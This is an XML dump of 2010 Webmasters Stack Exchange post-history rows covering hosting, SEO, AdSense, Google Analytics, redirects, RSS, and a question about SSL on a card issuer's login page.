  <row Id="12691" PostHistoryTypeId="2" PostId="6355" RevisionGUID="7c7176e9-970e-4c90-b5c7-e853ef289b3d" CreationDate="2010-12-05T18:43:40.270" UserId="3453" Text="[List of TLDs][1] ([human-friendly version][2])&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://data.iana.org/TLD/tlds-alpha-by-domain.txt&#xD;&#xA;  [2]: http://www.iana.org/domains/root/db/" />
  <row Id="12692" PostHistoryTypeId="10" PostId="6348" RevisionGUID="e97425cd-106f-4573-9c18-47506f495e7d" CreationDate="2010-12-05T19:03:53.600" UserId="180" CloseReasonId="2" Text="[{&quot;Id&quot;:180,&quot;DisplayName&quot;:&quot;JasonBirch&quot;}]" />
  <row Id="12693" PostHistoryTypeId="2" PostId="6356" RevisionGUID="847705d0-d398-4e98-bc29-cbe8dbcb9b48" CreationDate="2010-12-05T20:42:08.107" UserDisplayName="Katrine" Text="You forgot that you should have a landing page where you get to chose between &quot;View site with frames&quot; or &quot;View site without frames&quot;!" />
  <row Id="12694" PostHistoryTypeId="5" PostId="6324" RevisionGUID="9fdfeb38-ba47-499d-9745-9ef0318ae95f" CreationDate="2010-12-05T22:17:38.853" UserId="138" Comment="added 126 characters in body" Text="I've no idea what country you're in, so here's some that cover the major countries:&#xD;&#xA;&#xD;&#xA;- http://www.lawlive.com.au/legal-website-privacy-policy/&#xD;&#xA;- **[http://www.lawlive.co.uk/legal-website-privacy-policy/][1]**&#xD;&#xA;- http://www.lawlive.com.hk/legal-website-privacy-policy/&#xD;&#xA;- http://www.lawlive.co.nz/legal-website-privacy-policy/&#xD;&#xA;- http://www.lawlive.co.za/legal-website-privacy-policy/&#xD;&#xA;&#xD;&#xA;(It's about the same price nomatter which currency you buy it in, I have bolded the UK version as per your comment)&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;Full disclosure: I know the people that run this website. In fact I've worked with them in the past, and we use their services my workplace.&lt;/sub&gt;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.lawlive.co.uk/legal-website-privacy-policy/" />
  <row Id="12695" PostHistoryTypeId="2" PostId="6357" RevisionGUID="7fd07f5c-daad-4c2c-a445-051381a0bc67" CreationDate="2010-12-05T22:38:20.980" UserId="663" Text="I found what I was looking for at *The Public Suffix List*.&#xD;&#xA;&#xD;&#xA;http://publicsuffix.org" />
  <row Id="12696" PostHistoryTypeId="2" PostId="6358" RevisionGUID="85d0b352-557c-4154-a37a-86ee99d8994c" CreationDate="2010-12-05T23:46:10.493" UserId="1022" Text="Beyond Jakob Nielsen (still probably the most notable source, he's been at it since the Netscape days), there are years of [academic studies][1].  You might not find many conclusive truths though.  Even from my own testing on sites I've developed, it's all over the place - all I can say with any certainty is that different crowds respond differently.&#xD;&#xA;&#xD;&#xA;If you're asking with a specific site in mind, you might look into [multivariate][3] / [A/B testing][4] to answer these questions for yourself. You'd basically have multiple versions of the same site with one minor difference - for example, one with the twitbook buttons &amp; one without - and see which one works best for a specific metric (following a link, return visitors, or whatever your goal), and repeat for each point until it's all rainbows. It adds a layer of extra work and is still just an educated guess in the end, but it fits nicely with the &quot;launch now, fix later&quot; iterative start-up style and is relatively cheap.&#xD;&#xA;&#xD;&#xA;  [1]: http://scholar.google.com/scholar?q=web+usability&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Multivariate_testing&#xD;&#xA;  [4]: http://en.wikipedia.org/wiki/A/B_testing" />
  <row Id="12697" PostHistoryTypeId="2" PostId="6359" RevisionGUID="59b712a6-1c9b-4ae7-aa38-2e7fa7dff6c6" CreationDate="2010-12-06T01:08:41.390" UserId="1757" Text="Eye-tracking studies have found that people tend to skim pages in an F-shaped pattern. This is probably largely due to the natural structure of most documents written in Romance languages (most text runs horizontally from left-to-right, left-aligned). So I don't think there's anything you could take from this that would result in users viewing your site as being more attractive or wanting to stay there longer.&#xD;&#xA;&#xD;&#xA;I also think it's unlikely that you'll find any blanket cosmetic rules that can be applied to any website to magically make it more appealing to users&amp;mdash;especially not something as banal as putting glossy icons everywhere. Only bad designers think like that, and that's partly what makes them bad designers.&#xD;&#xA;&#xD;&#xA;User testing and usability research is more about finding what trips up users and hinders usability/drives users away than finding some magic &quot;love potion&quot; that will make people like your website just because you place particular aesthetic elements in your design. At the end of the day, if your content isn't compelling, nothing will make people want to stick around or return in the future. And that's where most websites fail, not because they don't have shiny icons or don't follow some other design trend." />
  <row Id="12699" PostHistoryTypeId="5" PostId="6126" RevisionGUID="a1d332b6-551d-4d62-a53c-f1126d3cc55c" CreationDate="2010-12-06T03:06:27.967" UserId="3574" Comment="added 316 characters in body" Text="I've got a gaming site that hosts After Action Reports (AARs). From my traffic logs, I know that these AARs are far and away the most popular part of the site with my members.&#xD;&#xA;&#xD;&#xA;Members typically post 2 or 3 AARs to the site per day, but we do occasionally have zero days.&#xD;&#xA;&#xD;&#xA;As a service to my members (and to myself, as I enjoy them too!), I'd like to implement an RSS feed that announces the publication of each new AAR.&#xD;&#xA;&#xD;&#xA;There's only one problem - the demographics of my userbase skew towards nearly or already retired men who are not tech savvy at all.&#xD;&#xA;&#xD;&#xA;I know how to implement RSS... but I'd like suggestions on how to get my users to adopt it themselves.&#xD;&#xA;&#xD;&#xA;From direct communication with my core members, I know that they're highly receptive to the ***concept*** of RSS, but hesitant to jump through the hoops of learning to use yet another web thingy. (It's simple, I know, but these folks are old school)&#xD;&#xA;&#xD;&#xA;Has anyone else been faced with a similar challenge? (clear benefit, resistant-on-principle userbase) How'd you overcome it?&#xD;&#xA;&#xD;&#xA;**UPDATE EDIT**&#xD;&#xA;&#xD;&#xA;I've gone the Big Honkin' Icon approach on the site's main logo/banner thingy. I plan to let it run for a week or so to accrue items and then post an announcement and a how-to article with screenshots for the brave who want to go down the RSS rabbit hole.&#xD;&#xA;&#xD;&#xA;Thanks for the feedback, everyone." />
  <row Id="12700" PostHistoryTypeId="5" PostId="6185" RevisionGUID="56ce486b-430c-4b89-a214-bc357bb021ed" CreationDate="2010-12-06T03:49:25.557" UserId="3590" Comment="deleted 12 characters in body" Text="im trying to make a new, modern, up to date chart of meta tags, for all of us, with their purposes, their use and their good (or bad) effects on search engines/being found. I will add your comments into my list so this chart is a result of live discussion and up to date! Also, it would be creative to invent your own meta, because i believe that we are the ones making the web, or aren't we?&#xD;&#xA;&#xD;&#xA;*LEGEND*  &#xD;&#xA;**P** PURPOSE? What does this meta tag do in 2011, if anything  &#xD;&#xA;**N** NECESSARY? Does every site really needs it or not?  &#xD;&#xA;**G** GOOD wether it will have a good effect for your site to be found  &#xD;&#xA;**I** INVENTED meta tag, who knows it will be accepted in a year!  &#xD;&#xA;&#xD;&#xA;    META &quot;METANAME&quot; = PURPOSE?   -   NECESSARY?   -   GOOD EFFECT?&#xD;&#xA;&#xD;&#xA;    #### important&#xD;&#xA;    meta &quot;title&quot; = P consice summary + teaser - N very - G extremely&#xD;&#xA;    meta &quot;description&quot; = P description + teaser - N yes - G very&#xD;&#xA;    meta &quot;robots&quot; = P if needed, to skip default dmoz/yahoodir listing - N no - G?&#xD;&#xA;&#xD;&#xA;    #### new &amp; promising! Thanks for input (John, )&#xD;&#xA;    meta &quot;original-source&quot; P url of whoever broke the news gets credits - N? - G?&#xD;&#xA;    meta &quot;syndication-source&quot;  P url for syndication of published news - N? - G?&#xD;&#xA;&#xD;&#xA;    #### seems obsolete&#xD;&#xA;    meta &quot;keywords&quot; = P some keywords - N+G not for google but yahoo likes them&#xD;&#xA;    meta &quot;language&quot; = P overrule guesswork by defining language - N no - G? &#xD;&#xA;    meta &quot;page-topic&quot; = P topic/theme - N? - G?&#xD;&#xA;    meta &quot;abstract&quot; = P short summary - N? - G?&#xD;&#xA;    meta &quot;copyright&quot; = ?&#xD;&#xA;&#xD;&#xA;    #### invented by me&#xD;&#xA;    meta &quot;audience&quot; = P filteres audience: &quot;+seniors, +parents, -children, -youth&quot;&#xD;&#xA;    meta &quot;mood&quot; = P specifies textual style: &quot;discussion, informative, commercial,&#xD;&#xA;                    sexual, fictional, scientific, romantic, therapeutic, technical&quot;" />
  <row Id="12701" PostHistoryTypeId="2" PostId="6361" RevisionGUID="0214e96c-afbe-46c4-801a-97bd32ce8b3f" CreationDate="2010-12-06T03:52:10.760" UserId="3688" Text="If you are looking for a cheaper, alternative hosted sharepoint solutions, please take a look at [asphostcentral.com][1]. Things worth considering when selecting a sharepoint host:&#xD;&#xA;&#xD;&#xA; 1. Price (in terms of monthly dollars you have to spend)&#xD;&#xA; 2. Features (in terms of disk space and bandwidth you can use)&#xD;&#xA; 3. Functionality (in terms of things you can and cannot do when installing a sharepoint service on a particular server)&#xD;&#xA; 4. Support Response (in terms on how fast can a host response to your questions should you have problems)&#xD;&#xA; 5. Knowledge (in terms of how capable does your hosting fullfil their offers)&#xD;&#xA;&#xD;&#xA;hope this helps&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.asphostcentral.com/Windows-Sharepoint-2010-Hosting.aspx" />
  <row Id="12702" PostHistoryTypeId="2" PostId="6362" RevisionGUID="8024df21-b6ed-4136-a0be-0fdf25f0b839" CreationDate="2010-12-06T03:57:47.370" UserId="3688" Text="if you are looking to host your asp.net website, you always have to consider a host that particularly focuses on ASP.NET and microsoft technology only. There are lots of hosts out there which appears to be &quot;all-rounder&quot; (i.e. supports everything, ranging from Linux, Free BSD, ASP.NET, PHP or anything you can name). These kind of hosts are not recommended because you have to look only for a host that truly knowledge-able and have focus on ASP.NET only&#xD;&#xA;&#xD;&#xA;In this case, I would recommend you to consider [asphostcentral.com][1] as this host only focuses in ASP.NET and Windows hosting. Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.asphostcentral.com/default.aspx" />
  <row Id="12703" PostHistoryTypeId="2" PostId="6363" RevisionGUID="40b05e80-a926-4b6b-b60e-301f49e1ea53" CreationDate="2010-12-06T04:01:35.587" UserId="3688" Text="I still recommend using PayPal for your PayPal payment gateway as it is more accepted world-wide. Pleae do keep in mind that PayPal does not process payment from some countries yet (such as Egypt, and most of African countries). &#xD;&#xA;&#xD;&#xA;If you believe you want to do business worldwide, this is something worth considering :-)" />
  <row Id="12704" PostHistoryTypeId="2" PostId="6364" RevisionGUID="b3fc3f40-df3c-4b83-af3e-03a7dbefca92" CreationDate="2010-12-06T04:05:52.303" UserId="3688" Text="To put it into reality:&#xD;&#xA;&#xD;&#xA; - A domain name is just like the &quot;name of your business&quot; (e.g. McDonald, Hungry Jacks, etc). Does it mean something to you? Maybe yes, maybe no. But it is always recommended to choose a good domain name so that no one can leave a bad impressions about it. Just imagine that you have a business name, e.g. BankruptFast, what do people think about it?&#xD;&#xA;&#xD;&#xA; - A hosting service is just like a &quot;place/premise to do your business&quot;. Obviously, once you think of a business name, you may have to consider renting/buying your own business space.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Therefore, a domain name will be non-functional without a valid hosting service. Hope this helps" />
  <row Id="12705" PostHistoryTypeId="2" PostId="6365" RevisionGUID="0ee9f546-15f3-4add-acbb-cccaafa33d5d" CreationDate="2010-12-06T05:36:32.077" UserId="2026" Text="I observed that ads from google adsense are getting displayed properly&#xD;&#xA;My many of the friends are not able to see them, they see the blank space instead.&#xD;&#xA;&#xD;&#xA;Moreover, i observed that google is showing less clicks than actual. I agree with 0.0$ payment against clicks which seems as fake click. But confused with number of actual click.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="12706" PostHistoryTypeId="1" PostId="6365" RevisionGUID="0ee9f546-15f3-4add-acbb-cccaafa33d5d" CreationDate="2010-12-06T05:36:32.077" UserId="2026" Text="problem with Google adsense " />
  <row Id="12707" PostHistoryTypeId="3" PostId="6365" RevisionGUID="0ee9f546-15f3-4add-acbb-cccaafa33d5d" CreationDate="2010-12-06T05:36:32.077" UserId="2026" Text="&lt;google-adsense&gt;" />
  <row Id="12708" PostHistoryTypeId="2" PostId="6366" RevisionGUID="55f11969-6c1b-4a9e-9ce0-56fa8705f8c0" CreationDate="2010-12-06T05:54:11.033" UserId="576" Text="A blank space may appear if ads are blocked by some browser extension, through the HOSTS file, at the network level or one of these [other mechanisms][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blogs.msdn.com/b/ie/archive/2010/11/30/selectively-filtering-content-in-web-browsers.aspx" />
  <row Id="12712" PostHistoryTypeId="2" PostId="6368" RevisionGUID="6788cac4-dafc-488e-84b0-199805c86c8d" CreationDate="2010-12-06T07:33:58.943" UserId="118" Text="If you want fast and guaranteed crawling, create a google adsense account and ad the google ad to the source code of your site.  You can do this just until they spider the site, and you can probably do it on pages that simply link to your important content, and which only spiders are otherwise going to be likely to find.  Since they advertise based on content, they'll have to spider your site, discover it's existence, index it, and presumably index all of the pages that you actually -want- it to see as well.&#xD;&#xA;&#xD;&#xA;Then remove the ads whenever you're ready." />
  <row Id="12714" PostHistoryTypeId="2" PostId="6370" RevisionGUID="db055104-7233-46d6-9cac-a8e640840fd4" CreationDate="2010-12-06T09:10:58.180" UserId="3467" Text="I have this problem myself on one of my websites. It's a weblog with pictures running about 200 visitors a day, so not very big/popular. On the individual post pages ads usually show, but on the main page (overview of the last 10 posts) banners are often individual. I think it's because there's just not enough relevant content for Google to match an ad to. Maybe you could try adding more (relevant) content to the pages and see if it catches on?&#xD;&#xA;&#xD;&#xA;Concerning the clicks, I have no idea, but what exactly confuses you? I'm afraid there's not a lot of people that click Google ads anymore..." />
  <row Id="12716" PostHistoryTypeId="2" PostId="6371" RevisionGUID="92b0c5ea-0aa0-4891-b7b4-96cf07524a26" CreationDate="2010-12-06T10:58:08.033" UserId="2489" Text="What the website name service blogging by Wordpress mu ?&#xD;&#xA;&#xD;&#xA;Please give me 10-20 website thanks." />
  <row Id="12717" PostHistoryTypeId="1" PostId="6371" RevisionGUID="92b0c5ea-0aa0-4891-b7b4-96cf07524a26" CreationDate="2010-12-06T10:58:08.033" UserId="2489" Text="What the website name bloging service by wordpress mu ?" />
  <row Id="12718" PostHistoryTypeId="3" PostId="6371" RevisionGUID="92b0c5ea-0aa0-4891-b7b4-96cf07524a26" CreationDate="2010-12-06T10:58:08.033" UserId="2489" Text="&lt;service&gt;" />
  <row Id="12719" PostHistoryTypeId="2" PostId="6372" RevisionGUID="b5562966-7db8-427a-ab50-bd74c3a5528a" CreationDate="2010-12-06T11:06:00.557" UserId="233" Text="If there are any patterns at all to the redirects then you can cut down on the number of redirects in the htaccess file.&#xD;&#xA;&#xD;&#xA;Failing that, you could instead rewrite all the `*.html` files to a PHP script that reads the redirects from a file or database, for example. You'd still need to manually input everything into said file or database, but you would cut down the size of the htaccess." />
  <row Id="12720" PostHistoryTypeId="2" PostId="6373" RevisionGUID="8e288a1a-6f18-47c6-a407-c5d8227fa7b3" CreationDate="2010-12-06T12:26:26.033" UserId="2490" Text="I can recommend you [arvixe][1] hosting. Supports IIS7, full trust, MVC, unlimited ms sql 2008 databases.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="12721" PostHistoryTypeId="2" PostId="6374" RevisionGUID="57b81613-2f58-4dbb-a68e-3f45da48eed6" CreationDate="2010-12-06T12:29:57.137" UserId="2490" Text="Can only advise you of paid hosting but not expensive [arvixe.com][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3-3-3.html" />
  <row Id="12722" PostHistoryTypeId="2" PostId="6375" RevisionGUID="d14ca1da-1ae7-4544-9e9c-3f9472258d7c" CreationDate="2010-12-06T12:35:19.237" UserId="3692" Text="Looking in Google Webmaster tools for my site, the sixth most common keyword is &quot;life&quot;. This appears a lot because I mention &quot;artificial life&quot; and in places &quot;second life&quot; in the page text. &#xD;&#xA;&#xD;&#xA;I want to increase the relevance of this page in terms of the keywords in the text, not as just &quot;life&quot; on its own, which as you can see, is far to vague to be of use.&#xD;&#xA;&#xD;&#xA;How can I increase the ranking of &quot;artificial life&quot; as a keyword instead of just &quot;life&quot; on my site?" />
  <row Id="12723" PostHistoryTypeId="1" PostId="6375" RevisionGUID="d14ca1da-1ae7-4544-9e9c-3f9472258d7c" CreationDate="2010-12-06T12:35:19.237" UserId="3692" Text="Single word keywords against 2 or 3 word keywords for SEO" />
  <row Id="12724" PostHistoryTypeId="3" PostId="6375" RevisionGUID="d14ca1da-1ae7-4544-9e9c-3f9472258d7c" CreationDate="2010-12-06T12:35:19.237" UserId="3692" Text="&lt;seo&gt;&lt;pagerank&gt;&lt;keywords&gt;" />
  <row Id="12726" PostHistoryTypeId="2" PostId="6376" RevisionGUID="f30f119a-8955-4980-96de-c7a77824a0ba" CreationDate="2010-12-06T12:46:42.333" UserId="1253" Text="You don't want to focus on one or two keywords for an entire site. Search engines don't rank sites. They rank pages. What that means is you want to focus on the keywords of specific pages. If you want to rank well for a certain keyword, whether it is a one or three word phrase, you need to dedicate a page to content related to that keyword(s). So if you want to have a page rank for &quot;artificial life&quot; you need to create  page about artificial life. If you want your home page to rank for artificial life then you will need to alter your content to focus more on artificial life. This includes altering your internal links to include that phrase in it, etc." />
  <row Id="12727" PostHistoryTypeId="2" PostId="6377" RevisionGUID="752753ef-82f1-497b-814c-cf3537eb251c" CreationDate="2010-12-06T13:17:06.157" UserId="2930" Text="I will keep my question simple and short.Are backlink generators helpful and should we use them?If not, why?" />
  <row Id="12728" PostHistoryTypeId="1" PostId="6377" RevisionGUID="752753ef-82f1-497b-814c-cf3537eb251c" CreationDate="2010-12-06T13:17:06.157" UserId="2930" Text="Are backlink generators helpful?" />
  <row Id="12729" PostHistoryTypeId="3" PostId="6377" RevisionGUID="752753ef-82f1-497b-814c-cf3537eb251c" CreationDate="2010-12-06T13:17:06.157" UserId="2930" Text="&lt;backlinks&gt;" />
  <row Id="12730" PostHistoryTypeId="2" PostId="6378" RevisionGUID="c00fcf58-83f3-446d-9064-832abae78f7b" CreationDate="2010-12-06T13:17:33.893" UserId="3467" Text="Webmaster Tools shows only single words in the 'most common keywords' feature. If you use life in combination with 'second' or 'artificial' all the time and don't have it as a single words a lot of times, chances are you'll score a lot better in Google for those two-words combos than just the word 'life'. &#xD;&#xA;&#xD;&#xA;I have a website about Marilyn Manson, and according to Webmaster Tools 'manson' is my most common word. Searching for it won't show my site, however. Searching for 'marilyn manson' will. It's just how the Webmaster Tools show your keywords, don't worry too much about it." />
  <row Id="12731" PostHistoryTypeId="2" PostId="6379" RevisionGUID="bb778188-0fb0-410b-9417-c153a5a55a56" CreationDate="2010-12-06T14:10:28.883" UserId="721" Text="I sometimes get the offer to create these and it's always a maintenance hell. &#xD;&#xA;&#xD;&#xA;For example: a print shop wants a form so you can order your print work online. This mostly is a multiple step form where you can pick size, paper, etc and depending on the options you pick you get other options. &#xD;&#xA;&#xD;&#xA;I can mostly hard code what they want but if they want to change something later it's very cumbersome because you have to change the form, validation and back-end to accommodate the changes.&#xD;&#xA;&#xD;&#xA;I heard from some clients that they got offers from companies in the past that have specialized systems for this. At first I thought this was a little over kill but since you need a system that can is very flexible I am maybe wrong?&#xD;&#xA;&#xD;&#xA;So if anybody can give examples, books, websites, videos or any other media on the matter I appreciate it.&#xD;&#xA;" />
  <row Id="12732" PostHistoryTypeId="1" PostId="6379" RevisionGUID="bb778188-0fb0-410b-9417-c153a5a55a56" CreationDate="2010-12-06T14:10:28.883" UserId="721" Text="Big specialized complex forms for ordering/signing." />
  <row Id="12733" PostHistoryTypeId="3" PostId="6379" RevisionGUID="bb778188-0fb0-410b-9417-c153a5a55a56" CreationDate="2010-12-06T14:10:28.883" UserId="721" Text="&lt;web-development&gt;&lt;forms&gt;" />
  <row Id="12734" PostHistoryTypeId="2" PostId="6380" RevisionGUID="417ee972-b762-472c-8cda-fb80e9fb2a80" CreationDate="2010-12-06T14:24:16.490" UserId="1253" Text="No because they get you links with little to no value (usually no value). What good are having backlinks if they don't bring traffic or have a positive effect on your rankings? Not to mention, it's very possible these generators will place a large quantity of links in a bad neighborhood. If you reciprocate any of those links you will most likely be associated with that bad neighborhood and incur any penalties set upon sites in that neighborhood.&#xD;&#xA;&#xD;&#xA;Just get backlinks to the natural way. Write good content and get others to *want* to link to you. One quality link from a related site will be worth more then hundreds of the crappy links those generators make." />
  <row Id="12735" PostHistoryTypeId="6" PostId="6377" RevisionGUID="c665d92e-8920-444a-a796-726770670ef9" CreationDate="2010-12-06T14:24:35.990" UserId="1253" Comment="edited tags" Text="&lt;seo&gt;&lt;backlinks&gt;" />
  <row Id="12736" PostHistoryTypeId="4" PostId="6379" RevisionGUID="de3fb144-997b-472c-8b74-3e6e3a4d9c0a" CreationDate="2010-12-06T14:34:57.733" UserId="721" Comment="edited title" Text="Big specialized complex forms for ordering/signing up." />
  <row Id="12737" PostHistoryTypeId="2" PostId="6381" RevisionGUID="db1226f2-3d4d-467a-86ac-d59d249d4077" CreationDate="2010-12-06T14:52:55.017" UserId="2496" Text="Google search with the string site:mysite.com to get a full dump of all the URLs that are indexed, or go ahead and use Google's Webmaster's Tools and get a list of 404's from them. Then, yes, you will need to manually construct a 301 redirect list.&#xD;&#xA;&#xD;&#xA;You can import a file into &lt;a href=&quot;http://wordpress.org/extend/plugins/redirection/&quot;&gt;WordPress › Redirection « WordPress Plugins&lt;/a&gt; to generate redirections and log them, too." />
  <row Id="12738" PostHistoryTypeId="2" PostId="6382" RevisionGUID="73b1b630-baee-409c-a649-17cc73a33adc" CreationDate="2010-12-06T15:03:32.497" UserId="1920" Text="I just re-routed mydomain.com and www.mydomain.com to redirect (sorry wrong word, the URLs are actually using mydomain.com) to mydomain.squarespace.com using the custom mapping for squarespace and godaddy DNS manager. My question is this, the proprietary, host analytics should still work. However, will Google Analytics still work right or do I need to tweak to get it to actually work right?&#xD;&#xA;&#xD;&#xA;I checked that Analytics is receiving data after the transition, however, I have a few questions:&#xD;&#xA;&#xD;&#xA; 1. will it still be referring to mydomain.squarespace.com, or mydomain.com? &#xD;&#xA; 2. is traffic between the two the same/equivalent?  &#xD;&#xA; 3. do I need to update my tracking script somehow?" />
  <row Id="12739" PostHistoryTypeId="1" PostId="6382" RevisionGUID="73b1b630-baee-409c-a649-17cc73a33adc" CreationDate="2010-12-06T15:03:32.497" UserId="1920" Text="Just re-mapped my Squarespace site to my own domain, how about my tracking snippet?" />
  <row Id="12740" PostHistoryTypeId="3" PostId="6382" RevisionGUID="73b1b630-baee-409c-a649-17cc73a33adc" CreationDate="2010-12-06T15:03:32.497" UserId="1920" Text="&lt;google&gt;&lt;domains&gt;&lt;google-analytics&gt;" />
  <row Id="12741" PostHistoryTypeId="2" PostId="6383" RevisionGUID="5b9afe4e-0eac-4379-8854-0ec12e37257a" CreationDate="2010-12-06T15:09:58.863" UserId="3467" Text="Analytics will still work. If you go to the visitors -&gt; network properties -&gt; hostnames section of GA you'll slowly see the mydomain.squarespace.com visits reducing and being replaced by mydomain.com. If not, there might be a problem, but this should work prefectly fine :)&#xD;&#xA;&#xD;&#xA;Apart from this nothing should change. Numbers should stay the same (or hopefully rise if you get more popular) and you don't have to change any scripts." />
  <row Id="12743" PostHistoryTypeId="2" PostId="6385" RevisionGUID="551d214a-3355-4a4d-9f95-42e33524a19a" CreationDate="2010-12-06T15:23:46.290" UserId="1953" Text="I'd say look for some pattern you can use to get close, for example match the title tags, or if the directory structure includes a category IE example.com/category/product.html then set patter to redirect all URLs with &quot;category&quot; to the new category page. It's certainly not as good as redirecting them to the appropriate product page, but it's better then just leaving them all as 404s. There's almost always some kind of convention even if it's a poorly thought out one. (Also assuming you still have all the files you can run Xenu Link Sleuth on them to make sure you get all the pages, even if Google has removed them from the index for being a 404, you'll want to redirect them as there may be some links pointing to them).&#xD;&#xA;&#xD;&#xA;Good Luck." />
  <row Id="12744" PostHistoryTypeId="2" PostId="6386" RevisionGUID="6b92ac1c-c81b-4b02-906b-774de01822cd" CreationDate="2010-12-06T15:54:42.457" UserId="3598" Text="I had installed joomla in my domain with the sample data. I now removed it and installed wordpress in my domain. There are a lot of 404 errors in my domain. Will they affect my search engine rankings. If so what should I do to avoid it?" />
  <row Id="12745" PostHistoryTypeId="1" PostId="6386" RevisionGUID="6b92ac1c-c81b-4b02-906b-774de01822cd" CreationDate="2010-12-06T15:54:42.457" UserId="3598" Text="Will 404 errors affect search engine ranking?" />
  <row Id="12746" PostHistoryTypeId="3" PostId="6386" RevisionGUID="6b92ac1c-c81b-4b02-906b-774de01822cd" CreationDate="2010-12-06T15:54:42.457" UserId="3598" Text="&lt;seo&gt;&lt;wordpress&gt;&lt;joomla&gt;&lt;404&gt;" />
  <row Id="12747" PostHistoryTypeId="2" PostId="6387" RevisionGUID="e2f3629e-c702-4bb4-afad-13cc057876f4" CreationDate="2010-12-06T15:55:36.610" Text="please advice good Canadian hosting could offer different c-class IPs&#xD;&#xA;&#xD;&#xA;Thanks a lot,&#xD;&#xA;J" />
  <row Id="12748" PostHistoryTypeId="1" PostId="6387" RevisionGUID="e2f3629e-c702-4bb4-afad-13cc057876f4" CreationDate="2010-12-06T15:55:36.610" Text="Please advice Canadian hosting" />
  <row Id="12749" PostHistoryTypeId="3" PostId="6387" RevisionGUID="e2f3629e-c702-4bb4-afad-13cc057876f4" CreationDate="2010-12-06T15:55:36.610" Text="&lt;web-hosting&gt;&lt;sites&gt;" />
  <row Id="12750" PostHistoryTypeId="17" PostId="6387" RevisionGUID="9845161b-1e0b-4421-9115-9016839d7782" CreationDate="2010-12-06T16:03:03.457" UserId="-1" Comment="from http://stackoverflow.com/questions/4368232/please-advice-canadian-hosting" Text="" />
  <row Id="12751" PostHistoryTypeId="2" PostId="6388" RevisionGUID="bd2122b0-1840-443c-b0c2-768cb1c02d09" CreationDate="2010-12-06T16:05:51.060" UserId="3695" Text="I have two different Google Analytics accounts set up.  One that is used everywhere on `example.com`, and another that is used only within the `example.com/blog` path.  I'm trying to figure out where within my `example.com` GA account I can track users who are navigating from the `/blog` GA account.&#xD;&#xA;&#xD;&#xA;I tried looking under Traffic Sources &gt; Referring Sites, then filtering by `example.com`.  This does show as a source there, but when I clicked on it to view referral paths for that source, none of the referral paths were for `/blog`; instead, they were all just other pages within the same domain (and thus the same GA account).&#xD;&#xA;&#xD;&#xA;Where should I be looking?" />
  <row Id="12752" PostHistoryTypeId="1" PostId="6388" RevisionGUID="bd2122b0-1840-443c-b0c2-768cb1c02d09" CreationDate="2010-12-06T16:05:51.060" UserId="3695" Text="Where do I find traffic sources for same-domain traffic?" />
  <row Id="12753" PostHistoryTypeId="3" PostId="6388" RevisionGUID="bd2122b0-1840-443c-b0c2-768cb1c02d09" CreationDate="2010-12-06T16:05:51.060" UserId="3695" Text="&lt;google-analytics&gt;&lt;traffic&gt;" />
  <row Id="12754" PostHistoryTypeId="5" PostId="6315" RevisionGUID="1194cd96-d9cc-4795-9e6e-5875c32c6276" CreationDate="2010-12-06T16:45:20.270" UserId="3453" Comment="added 131 characters in body" Text="If you are a Rails developer, your best choice would be to develop a Rails application. There are awesome web hosts out there like Site5 which will be happy to assist you with whatever Rails issues you have. You can check [this][1] page.&#xD;&#xA;&#xD;&#xA;Also, they let you use SSH if you are still up for PHP.&#xD;&#xA;&#xD;&#xA;To answer your question directly - use Yii framework. It has its own GUI and if you can code in PHP, you'll love it. I promise.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.site5.com/hosting/web/#programming_languages" />
  <row Id="12755" PostHistoryTypeId="2" PostId="6389" RevisionGUID="57a909ae-2394-4cce-a9aa-5f8c8b0c4d4e" CreationDate="2010-12-06T16:47:07.897" UserId="3453" Text="Check my answer [here][1].&#xD;&#xA;It's for 403 pages but it does the job in your case, too.&#xD;&#xA;&#xD;&#xA;PS: good choice to choose WordPress over Joomla!.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/6306/how-did-google-manage-to-crawl-my-403-pages/6308#6308" />
  <row Id="12756" PostHistoryTypeId="2" PostId="6390" RevisionGUID="b4e5adac-9d3f-47c7-9f0b-f1e376618c2d" CreationDate="2010-12-06T16:54:40.543" UserId="3698" Text="I have a security, SSL question about http://discovercard.com/&#xD;&#xA;&#xD;&#xA;When you first go to Discover Card's Home Page you are able to type in your user name and password without the website being protected by SSL. When you hit login the information is passed over SSL but the home page does not use SSL itself.&#xD;&#xA;&#xD;&#xA;Why do you think Discover does this? Is this fine to do? Are there any security risks by doing this?&#xD;&#xA;&#xD;&#xA;Any other bank or credit card website I have gone to has SSL anywhere you type the username and password.&#xD;&#xA;&#xD;&#xA;Thanks for the comments!" />
  <row Id="12757" PostHistoryTypeId="1" PostId="6390" RevisionGUID="b4e5adac-9d3f-47c7-9f0b-f1e376618c2d" CreationDate="2010-12-06T16:54:40.543" UserId="3698" Text="Security - DiscoverCard.com" />
  <row Id="12758" PostHistoryTypeId="3" PostId="6390" RevisionGUID="b4e5adac-9d3f-47c7-9f0b-f1e376618c2d" CreationDate="2010-12-06T16:54:40.543" UserId="3698" Text="&lt;ssl&gt;" />
